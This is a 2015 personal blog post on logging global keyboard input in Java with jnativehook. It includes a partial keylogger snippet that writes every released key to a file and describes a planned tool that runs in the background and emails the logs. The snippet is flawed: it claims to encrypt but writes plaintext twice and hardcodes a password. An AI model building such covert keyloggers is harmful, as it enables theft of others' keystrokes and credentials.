Pages

Thursday, January 29, 2015

Global KeyEvents in Java

Considering a number of ways that I could log keyboard input using java outside of an IDE, I ran into a problem. Namely, that created programs were limited as the methods tracking input from a keyboard would lose focus when a user clicks from one window into, say, their desktop or another component. Luckily, I came across a great library, known as jnativehook (https://code.google.com/p/jnativehook/) which allows for global keyEventsAn example of using the library to write keyboard input to a predefined file - encrypting its content as keyEvents occur (using jasypt) - is shown :



 public void nativeKeyReleased(NativeKeyEvent e) {

        System.out.println("Key Released: " + NativeKeyEvent.getKeyText(e.getKeyCode()));

        try {
            String keyString;
            keyString = NativeKeyEvent.getKeyText(e.getKeyCode()) + "'";

            if (!a.exists()) {
                a.createNewFile();

            }
            FileWriter fw = new FileWriter(a.getAbsoluteFile(), true);
            BufferedWriter bw = new BufferedWriter(fw);
           PassEncryptor.setPassword("jstraightup");
           String myEncryptedText = PassEncryptor.encrypt(keyString);
           bw.append(keyString);
           bw.append(keyString);
           bw.newLine();
           bw.close();
        } catch (Exception e1) {
            e1.printStackTrace();
        }
    }

    public void nativeKeyTyped(NativeKeyEvent e) {

    }

    public static void main(String[] args) throws NativeHookException, IOException, InterruptedException {
        try {
            GlobalScreen.registerNativeHook();

        } catch (NativeHookException ex) {
           
            System.err.println("There was a problem registering the native hook.");
            System.err.println(ex.getMessage());
            System.exit(1);
        }

        /* Construct the example object and initialze native hook. */
        GlobalScreen.getInstance().addNativeKeyListener(new Main());



Another useful implementation of this great library could be the creation of shortcuts specific to applications, which allow them to be minimised or maximised, or given any amount of standard program functions without having to fret about focus-loss. The above code is part of a larger project I have been working on - an implementation of a keylogging application for home desktop or laptop security, which runs in the background and routinely sends data to an email, thereafter deleting the file to which the logging data was written and beginning again. Partly inspired by the following very entertaining Defcon talk :

https://www.youtube.com/watch?v=U4oB28ksiIo

No comments:

Post a Comment